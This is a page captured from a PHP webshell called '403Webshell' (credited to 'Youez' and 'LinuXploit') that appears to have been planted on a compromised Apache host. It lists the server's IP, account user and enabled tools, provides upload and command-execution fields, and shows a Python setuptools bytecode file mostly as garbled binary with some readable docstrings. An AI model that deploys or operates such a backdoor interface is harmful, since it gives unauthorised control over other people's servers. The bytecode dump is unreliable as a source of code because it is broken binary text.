403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.216.220
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/setuptools/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/setuptools/__pycache__/_static.cpython-313.pyc
�

�h����SSKJr SSKJr SSKrSSKJr "SS5rS\	S	\
S
\
SS4Sjr"S
S\
\5r"SS\
\5r"SS\\5rSH
r\"\\S5 M "SS\\5rSH
r\"\\S5 M "SS\R(R*\5r\"S5rS\S\4Sjr\
\\
\\\\\0rS\S\4SjrS\S\4Sjr\"5r\"5rg) �)�wraps)�TypeVarN�)�SetuptoolsDeprecationWarningc�(�\rSrSr%SrSr\\S'Srg)�Static�	a8
Wrapper for built-in object types that are allow setuptools to identify
static core metadata (in opposition to ``Dynamic``, as defined :pep:`643`).

The trick is to mark values with :class:`Static` when they come from
``pyproject.toml`` or ``setup.cfg``, so if any plugin overwrite the value
with a built-in, setuptools will be able to recognise the change.

We inherit from built-in classes, so that we don't need to change the existing
code base to deal with the new types.
We also should strive for immutability objects to avoid changes after the
initial parsing.
F�	_mutated_�N)	�__name__�
__module__�__qualname__�__firstlineno__�__doc__r
�bool�__annotations__�__static_attributes__r��4/usr/lib/python3/dist-packages/setuptools/_static.pyrr	s����I�t�rr�target�method�copying�returnc�^^�[XS5mTcg[T5S[4UU4Sjj5nSUl[	XU5 g)z�
Because setuptools is very flexible we cannot fully prevent
plugins and user customizations from modifying static values that were
parsed from config files.
But we can attempt to block "in-place" mutations and identify when they
were done.
N�selfc�^>�SUl[R"SSTS3SS9 T"U/UQ70UD6$)NTz/Direct modification of value will be disallowedz�
            In an effort to implement PEP 643, direct/in-place changes of static values
            that come from configuration files are deprecated.
            If you need to modify this value, please first create a copy with z�
            and make sure conform to all relevant standards when overriding setuptools
            functionality (https://packaging.python.org/en/latest/specifications/).
            )i��
r)�due_date)r
r�emit)r�args�kwargsr�fns   ��r�_replacement�+_prevent_modification.<locals>._replacement'sS������$�)�)�=�O�PW�i�X
�
�$�
	
��$�(��(��(�(r�)�getattrrrr�setattr)rrrr#r"s  ` @r�_prevent_modificationr(sJ���
���	&�B�	�z��
�2�Y�)�6�)��)�"�L���F�L�)rc��\rSrSrSrg)�Str�=rN�rr
rrrrrrr*r*=���rr*c��\rSrSrSrg)�Tuple�ArNr,rrrr/r/Ar-rr/c��\rSrSrSrSrg)�List�Ea[
:meta private:
>>> x = List([1, 2, 3])
>>> is_static(x)
True
>>> x += [0]  # doctest: +IGNORE_EXCEPTION_DETAIL
Traceback (most recent call last):
SetuptoolsDeprecationWarning: Direct modification ...
>>> is_static(x)  # no longer static after modification
False
>>> y = list(x)
>>> y.clear()
>>> y
[]
>>> y == x
False
>>> is_static(List(y))
True
rN�rr
rrrrrrrr2r2Es��rr2)
�__delitem__�__iadd__�__setitem__�append�clear�extend�insert�remove�reverse�popz
`list(value)`c��\rSrSrSrSrg)�Dict�la{
:meta private:
>>> x = Dict({'a': 1, 'b': 2})
>>> is_static(x)
True
>>> x['c'] = 0  # doctest: +IGNORE_EXCEPTION_DETAIL
Traceback (most recent call last):
SetuptoolsDeprecationWarning: Direct modification ...
>>> x._mutated_
True
>>> is_static(x)  # no longer static after modification
False
>>> y = dict(x)
>>> y.popitem()
('b', 2)
>>> y == x
False
>>> is_static(Dict(y))
True
rNr4rrrr@r@ls��rr@)r5�__ior__r7r9r>�popitem�
setdefault�updatez
`dict(value)`c��\rSrSrSrSrg)�SpecifierSet�z>Not exactly a built-in type but useful for ``requires-python``rNr4rrrrGrG�s��HrrG�T�valuec��U$)z
>>> noop(42)
42
r�rJs r�nooprM�s	��
�Lrc�T�[R[U5[5"U5$)zO
>>> is_static(attempt_conversion("hello"))
True
>>> is_static(object())
False
)�_CONVERSIONS�get�typerMrLs r�attempt_conversionrR�s �����D��K��.�u�5�5rc�R�[U[5=(a UR(+$)z�
>>> is_static(a := Dict({'a': 1}))
True
>>> is_static(dict(a))
False
>>> is_static(b := List([1, 2, 3]))
True
>>> is_static(list(b))
False
)�
isinstancerr
rLs r�	is_staticrU�s���e�V�$�<�U�_�_�)<�<r)�	functoolsr�typingr�packaging.specifiers�	packaging�warningsrrrQ�strr(r*�tupler/�listr2�_method�dictr@�
specifiersrGrIrMrOrR�objectrrU�
EMPTY_LIST�
EMPTY_DICTrrr�<module>rds1�����2���$*�$�*��*�c�*�d�*�D	�#�v�	�	�E�6�	��4���0�G��$���9���4���0	�G��$���9�	�I�9�'�'�4�4�f�I��C�L�����a���S�%���d�D�$�?��6�a�6�A�6�=�V�=��=��V�
�
�V�
r

Youez - 2016 - github.com/yon3zu
LinuXploit